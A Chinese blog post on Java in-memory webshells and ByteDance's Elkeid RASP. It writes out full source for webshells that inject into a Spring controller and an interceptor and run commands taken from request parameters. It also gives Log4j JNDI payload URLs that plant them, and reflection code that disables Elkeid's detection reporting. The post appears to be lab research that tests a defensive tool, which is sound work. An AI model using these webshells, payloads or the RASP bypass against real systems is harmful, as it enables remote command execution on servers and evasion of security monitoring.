Java内存马&Elkeid RASP防护

0x00 简介

最近抽空看了些Java内存马的文章。本文结合最近比较热门的log4j漏洞攻击写入内存马,然后用字节开源HIDS(Elkeid)的RASP模块进行防护,简单记录下。

0x01 Java内存马

1. 概念

Java内存马可以在无文件落盘的条件下,写入一个WebShell。

现在各公司流行Spring Boot框架开发,打一个jar包直接RUN,不能直接找文件上传漏洞传JSP的WebShell。这个技术刚好可以用在这种场景下。

内存马注入有很多方法,比如:

  • Spring: interceptor、controller
  • Tomcat: filter、servlet、listener
  • Java Agent
  • ……..

写入内存马需要结合漏洞,执行自定义的Java代码/加载Class,比如:

  • 反序列化
  • JNDI注入
  • ……

2. Web配置

这里模拟log4j漏洞,通过JNDI注入来写入内存马。

Spring Boot log4j2配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.0.RELEASE</version>
</parent>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
1
2
3
4
5
6
7
8
9
@RestController
public class Log4jController {
private static final Logger logger = LogManager.getLogger(Log4jController.class);
@RequestMapping("/log4j")
public String jsonDecode(String info) {
logger.error("123" + info);
return "success";
}
}

3. JNDI注入

本文用RMIRef的Payload来远程加载恶意类。具体方法略过,这里记录下几个知识点:

攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对来说更加通用。

但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true。

  • 恶意类不能有package路径
  • 加载Class时,自动执行的方法
1
2
3
4
5
6
7
8
9
10
Class.forName |  Class.forName().newInstance() |    
-----------------------------------------------|
父类静态变量 | 父类静态变量 |
父类静态代码块 | 父类静态代码块 |
子类静态代码块 | 子类静态代码块 |
子类静态变量 | 子类静态变量 |
| 父类代码块 |
| 父类构造函数 |
| 子类代码块 |
| 子类构造方法 |

4. 注入内存马

参考:https://github.com/bitterzzZZ/MemoryShellLearn

注入到controller的内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;

public class InjectToController {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 可选步骤,判断url是否存在
AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
field.setAccessible(true);
Map urlLookup = (Map) field.get(mappingRegistry);
Iterator urlIterator = urlLookup.keySet().iterator();
List<String> urls = new ArrayList();
while (urlIterator.hasNext()){
String urlPath = (String) urlIterator.next();
if ("/malicious".equals(urlPath)){
System.out.println("url已存在");
return;
}
}
// 可选步骤,判断url是否存在
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}

注入到Interceptor的内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
// org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// spring boot 改成requestMappingHandlerMapping : https://xz.aliyun.com/t/9746
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
}

private TestInterceptor(String aaa){}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不干扰正常业务逻辑
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}
}
}

直接打log4j的Payload,可以看到执行成功:

1
2
3
http://localhost:8080/log4j?info=%24%7bjndi%3armi%3a%2f%2f127%2e0%2e0%2e1%3a8989%2f123%7d
http://127.0.0.1:8080/malicious?cmd=/System/Applications/Calculator.app/Contents/MacOS/Calculator
http://127.0.0.1:8080/log4j?code=/System/Applications/Calculator.app/Contents/MacOS/Calculator


0x02 Elkeid RASP防护

字节发布了开源HIDS,很早就想研究看看。本文提取其中的Java RASP模块(JVMProbe),单独RUN起来测试下防护效果。

Elkeid的Java RASP模块使用ASM修改字节码(SmithMethodVisitor.java),监控相关配置在class.yaml,收集信息主要为线程的StackTrace,函数方法的入参、返回值

需要注意2个地方:

  • 用到了UNIX domain socket进行IPC通信。 MAC_OSX需要用KQueueEventLoopGroup代替EpollEventLoopGroup~
1
2
3
4
5
6
7
8
9
10
11
12
private EventLoopGroup group;
private Class<? extends Channel> channelType;


final boolean isMac = System.getProperty("os.name").toLowerCase(Locale.US).contains("mac");
if (isMac) {
this.group = new KQueueEventLoopGroup(EVENT_LOOP_THREADS, new DefaultThreadFactory(getClass(), true));
this.channelType = KQueueDomainSocketChannel.class;
}else {
this.group = new EpollEventLoopGroup(EVENT_LOOP_THREADS, new DefaultThreadFactory(getClass(), true));
this.channelType = EpollDomainSocketChannel.class;
}
  • 编译出的Jar包名字要按照README重命名成SmithAgent.jar,不然无法定位boot jar~
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# README
mkdir -p output && ./gradlew proguard && cp build/libs/JVMProbe-1.0-SNAPSHOT-pro.jar output/SmithAgent.jar
# 指定JDK11的路径即可编译成功~ @angelwhu
./gradlew proguard -Dorg.gradle.java.home='/Library/Java/JavaVirtualMachines/jdk-11.0.8.jdk/Contents/Home'

编译出的Jar包有META-INF.MANIFEST.MF配置:
Manifest-Version: 1.0
Agent-Class: com.security.smith.SmithAgent
Premain-Class: com.security.smith.SmithAgent
Can-Retransform-Classes: true
Boot-Class-Path: SmithAgent.jar
Specification-Title: Smith Agent
Specification-Version: 1.0
Implementation-Title: Smith Agent
Implementation-Version: null

运行:

1
2
java -javaagent:./output/SmithAgent.jar -jar my_java-1.0-SNAPSHOT.jar
socat UNIX-LISTEN:"/tmp/smith_agent.sock" - >> elkeid_rasp.log

RASP防护信息:

0x03 Elkeid RASP绕过

通常有以下方案:

这里通过反射机制,修改SmithProbe类的规则属性来Bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
public SmithProbe() {
// 这些属性通过反射修改,就可以Bypass了~ @angelwhu
disable = false;
clientConnected = false;

smithClasses = new HashMap<>();
smithFilters = new ConcurrentHashMap<>();
smithBlocks = new ConcurrentHashMap<>(); // 这个拦截Rule,还需要单独通过server端配置拦截~ 见ProbeClient 175行~ @angelwhu
smithLimits = new ConcurrentHashMap<>();
probeClient = new ProbeClient(this);
traceQueue = new ArrayBlockingQueue<>(TRACE_QUEUE_SIZE);
smithQuotas = Stream.generate(() -> new AtomicIntegerArray(METHOD_MAX_ID)).limit(CLASS_MAX_ID).toArray(AtomicIntegerArray[]::new);
}

由于用了proguard混淆field,用没混淆的版本测试成功~ bypass后,没有打印出检测日志~

1
2
3
4
5
6
7
8
9
10
11
public void bypassElkeidRasp() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException{
Class<?> threadClazz = Class.forName("com.security.smith.SmithProbe");
Method method = threadClazz.getMethod("getInstance");
System.out.println(method.invoke(null));
Object smithProbeObject = method.invoke(null);

Field field = Class.forName("com.security.smith.SmithProbe").getDeclaredField("clientConnected");
field.setAccessible(true);
Boolean clientConnected = (Boolean) field.get(smithProbeObject);
field.set(smithProbeObject, false);
}

0x04 参考文档

https://github.com/bitterzzZZ/MemoryShellLearn
Elkeid-RASP 发布,易部署的RASP方案
fastjson v1.2.68 RCE利用链复现
SpringBoot拦截器注入内存马实验
基于内存 Webshell 的无文件攻击技术研究
针对spring mvc的controller内存马-学习和实验(注入菜刀和冰蝎可用)
Tomcat 内存马学习(二):结合反序列化注入内存马

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2022/02/03/Java_MemoryShell_Elkeid_RASP_Protection/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog